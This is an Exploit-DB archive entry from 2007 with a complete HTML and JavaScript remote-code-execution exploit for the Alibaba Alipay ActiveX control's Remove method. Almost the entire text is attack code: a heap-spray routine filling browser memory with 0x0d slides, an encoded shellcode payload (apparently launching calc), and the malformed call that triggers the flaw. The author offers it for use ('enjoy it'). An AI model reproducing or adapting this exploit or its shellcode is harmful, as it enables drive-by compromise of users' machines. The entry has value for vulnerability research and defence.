Alibaba Alipay - Remove ActiveX Remote Code Execution

EDB-ID:

3279


Author:

cocoruder

Type:

remote


Platform:

Windows

Date:

2007-02-06


/************************************************************************************************
Alipay ActiveX Remote Code Execute Exploit,enjoy it:)
by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net
*************************************************************************************************/

<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{66F50F46-70A0-4A05-BD5E-FBCC0F9641EC}"></OBJECT>
</head>
<body>

<SCRIPT language="javascript">

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

    var heapBlockSize = 0x400000;

    var payLoadSize = payLoadCode.length * 2;

    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

    var spraySlide = unescape("%u0d0d%u0d0d");
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

    heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

    memory = new Array();

    for (i=0;i<heapBlocks;i++)
    {
        memory[i] = spraySlide + payLoadCode;
    }
    
    com.Remove(0x00d0d0d0);

    function getSpraySlide(spraySlide, spraySlideSize)
    {
        while (spraySlide.length*2<spraySlideSize)
        {
            spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;
    }

}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>

# milw0rm.com [2007-02-06]